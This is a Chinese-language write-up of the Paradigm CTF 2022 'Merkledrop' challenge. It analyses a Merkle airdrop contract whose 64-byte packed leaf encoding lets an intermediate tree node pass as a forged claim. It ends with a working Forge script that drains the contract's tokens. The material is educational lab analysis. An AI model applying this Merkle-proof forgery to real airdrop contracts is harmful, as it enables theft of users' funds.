链上卫士：Paradigm CTF 2022 题目浅析—Merkledrop

在 Paradigm CTF 2022 有这样一道金融赛题：

MerkleDistributor.sol：

function isClaimed(uint256 index) publicview returns (bool) {
    uint256 claimedWordIndex = index /256;
    uint256 claimedBitIndex = index % 256;
    uint256 claimedWord = claimedBitMap[claimedWordIndex];
    uint256 mask = (1 << claimedBitIndex);
    return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private{
    uint256 claimedWordIndex = index /256;
    uint256 claimedBitIndex = index % 256;
    claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external{
require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');

    // Verify the merkle proof.
    bytes32 node =keccak256(abi.encodePacked(index, account, amount));
    require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');

    // Mark it claimed and send the token.
    _setClaimed(index);
    require(ERC20Like(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.');

    emit Claimed(index, account, amount);
}

该合约主要是可以调用 claim 函数，为用户领取合约下的 Token，isClaimed 为查询方法，查询某个 index 下的用户是否已经领取过 Token。

Setup.sol:

contract Setup {

    Token public immutable token;
    MerkleDistributor public immutable merkleDistributor;

    constructor() payable{
        token =new Token();
        uint256 airdropAmount =75000*10**18;
        merkleDistributor =new MerkleDistributor(
            address(token), 
            bytes32(0x5176d84267cd453dad23d8f698d704fc7b7ee6283b5131cb3de77e58eb9c3ec3)
        );
        token.transfer(address(merkleDistributor), airdropAmount);
    }
function isSolved() publicview returns (bool) {
        bool condition1 = token.balanceOf(address(merkleDistributor)) ==0;
        bool condition2 = false;
        for (uint256 i =0; i <64; ++i) {
            if (!merkleDistributor.isClaimed(i)) {
                condition2 = true;
                break;
            }
}
        return condition1 && condition2;
    }
}

通过 Setup 合约创建了一个 merkleDistributor 合约，设置了 merkle tree root 并转入了供用户空投领取的 75000 单位的 Token。

Tree.json

{
  "merkleRoot": "0x5176d84267cd453dad23d8f698d704fc7b7ee6283b5131cb3de77e58eb9c3ec3",
  "tokenTotal": "0x0fe1c215e8f838e00000",
  "claims": {
    "0x00E21E550021Af51258060A0E18148e36607C9df": {
      "index": 0,
      "amount": "0x09906894166afcc878",
      "proof": [
        "0xa37b8b0377c63d3582581c28a09c10284a03a6c4185dfa5c29e20dbce1a1427a",
        "0x0ae01ec0f7a50774e0c1ad35f0f5efcc14c376f675704a6212b483bfbf742a69",
        "0x3f267b524a6acda73b1d3e54777f40b188c66a14a090cd142a7ec48b13422298",
        "0xe2eae0dabf8d82b313729f55298625b7ac9ba0f12e408529bae4a2ce405e7d5f",
        "0x01cf774c22de70195c31bde82dc3ec94807e4e4e01a42aca6d5adccafe09510e",
        "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5"
      ]
    },
    "0x046887213a87DC19e843E6E3e47Fc3243A129ad0": {
      "index": 1,
      "amount": "0x41563bf77450fa5076",
      "proof": [
        "0xbadd8fe5b50451d4c1157443afb33e60369d0949d65fc61d06fca35576f68caa",
        "0xb74970b484c464c0e6872c78a4fec81a5166f500c6e128052ca5db7a7e22d858",
        "0xf5f6b74e51a15573007b59fb217c22c55fd9748a1e70578c6ddaf550b7298882",
        "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813",
        "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c",
        "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5"
      ]
    }
    ...
    ...
  }
}

此文件提供了64个叶子节点的验证信息，其中包括每个用户地址对应的 index，amount 以及 proof 验证hash。用户可以凭此文件中的相关 Proofs 到合约中 Claim 相应数量的 Token。

合约分析

本题可调用的主要方法是 MerkleDistributor 合约中的 claim 函数，另外有一份 tree.json 文件，包含所有 Merkle Tree 里的相关 Proofs。直接通过这些信息，可以把合约内的 Token 领取完。但是无法满足题目的第二个要求。

目标有两个条件

• 清空合约里的所有 Token
• 不能用掉所有的 Proofs，至少有一个没有被 Claim 过

查看与相关标准实现的区别：

此处的 uint96 显得十分可疑。先简单回顾一下 Merkle Tree 的验证逻辑

Merkle Tree 的基本原理是依靠叶子节点的值一层层计算出 hash，最终得到 Root 值，验证某一个叶子节点是否在 Merkle Tree 中，只需提供相对应的 Proofs 路径进行计算，观察最终的 Root 值是否一致即可。

如图所示，若已知 Root，要验证 H3 叶子节点是否在 Merkle Tree 中，只需要知道蓝色框节点(H4, H6, H5)的值作为 Proofs 即可。

在验证方法中，会先通过 claim 函数的传参计算出一个 node hash值。此处的 bytes32 node 相当于图中的 Leaves 叶子节点。

而下方的蓝色节点也属于在 Merkle Tree 里，所以如果在蓝色节点里存在某个 hash 也可以被解释成用户输入的 Data (index, account, amount)，那么就很容易通过后续的验证。

function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external{
    ...
    ...
    // Verify the merkle proof.
    bytes32 node=keccak256(abi.encodePacked(index, account, amount));
    require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');

    ...
    ...
}function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf)
    internal
pure
    returns (bool){
        ...
        ...        // Hash(current computed hash + current element of the proof)
        computedHash =keccak256(abi.encodePacked(computedHash, proofElement));
             ...
        ...
    // Check if the computed hash (root) is equal to the provided root
    return computedHash == root;
  }

abi.encodePacked() 的作用是根据变量类型大小填充0并打包在一起。

• index[uint256]: 32bytes
• account[address]: 20bytes
• amount[uint96]: 12bytes

编码结果合起来为 64 bytes(32bytes + 32 bytes)，正好是两个 keccak256 hash 结果拼接在一起的大小。可以看成是其中一个 hash 值作为 index, 另一个 hash 值作为 account + amount。

前面的 index 先不关心，主要先考虑后面 account + amount 拼接后的结果怎么符合期望

空投的总代币数量为0x0fe1c215e8f838e00000 （75000 * 10 ** 18）

而 uint96 的最大值为0xffffffffffffffffffffffff，明显如果是随便的 hash 结果，会导致 claim 的数量远远超过此合约空投总数量。

0xffffffffffffffffffffffff
0x00000fe1c215e8f838e00000

简单放在一起比较一下，发现前面起码相差5个0，到 tree.json 搜索 00000 很容易发现 index 为 37 的节点。

也就是说，这个 hash 值可以被解析为 account + amount。

account: 0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A

amount: 0x00000f40f0c122ae08d2207b

还差个 32bytes 的 index 需要传，很明显就是 index 为 37 的这个节点 hash 值，简单计算一下 hash。这个值理论上在 tree.json 文件里也存在，作为其他叶子节点所需的 proof 之一。但是由于不方便知道是哪一个，所以还是直接正向计算一下结果hash。

将 index = 37，address = 0x8a85e6D0d2d6b8cBCb27E724F14A97AeB7cC1f5e，amount = 0x5dacf28c4e17721edb 拼接一下计算 hash

>>> keccak256(
    bytes32(0x00000000000000000000000000000000000000000000000000000000000000258a85e6D0d2d6b8cBCb27E724F14A97AeB7cC1f5e0000005dacf28c4e17721edb))
 
'0xdc194ea3692123ba00dd036627613b5bfc7bea8f8b57f7e7217f2ccd85b2d996'

这个 hash 值即我们所要的 index 值。

剩下的 merkleProof 数组，就是文件中 index 为37里 proof 数组里剩下的部分。

因此我们可以通过 claim(uint256,address,uint96,bytes32[]) 方法传入对应的

index, address, amount, merkleProof，将一部分 token 领取到0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A 地址上。

到目前为止，通过这个方法可以领取掉一部分的 token，但是没有完全领完合约里的 Token

试着计算一下还剩下多少 token 未领

>>> hex(0x0fe1c215e8f838e00000 - 0x00000f40f0c122ae08d2207b)
'0xa0d154c64a300ddf85'

很容易发现，剩下的数量正好是 index 为 8 的节点。那么只要通过这个叶子节点，再次调用 claim 方法，就可以领完合约里的 token，解决本题。

附：Forge 脚本

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import "forge-std/Script.sol";
import "../sol/Setup.sol";

contract Runner is Script {
function run(address setupAddress) public{
        Setup setup = Setup(setupAddress);

        MerkleDistributor md = MerkleDistributor(setup.merkleDistributor());

        {
            bytes32 firstNode =keccak256(
                abi.encodePacked(
                    uint256(37),
                    address(0x8a85e6D0d2d6b8cBCb27E724F14A97AeB7cC1f5e),
                    uint96(0x5dacf28c4e17721edb)
                )
            );

            bytes32[] memory proofs =new bytes32[](5);
            proofs[0] = bytes32(0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d);
            proofs[1] = bytes32(0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde);
            proofs[2] = bytes32(0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813);
            proofs[3] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
            proofs[4] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);

            vm.startBroadcast();
            md.claim(
                uint256(firstNode),
                address(0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A),
                uint96(0x00000f40f0c122ae08d2207b),
                proofs
            );
            vm.stopBroadcast();
        }
{
            bytes32[] memory proofs =new bytes32[](6);
            proofs[0] = bytes32(0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00);
            proofs[1] = bytes32(0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3);
            proofs[2] = bytes32(0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2);
            proofs[3] = bytes32(0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a);
            proofs[4] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
            proofs[5] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);

            uint256 index =8;
            address user = 0x249934e4C5b838F920883a9f3ceC255C0aB3f827;
            uint96 amount = 0xa0d154c64a300ddf85;

            vm.startBroadcast();
            md.claim(index, user, amount, proofs);
            vm.stopBroadcast();
        }
assert(setup.isSolved());
    }
}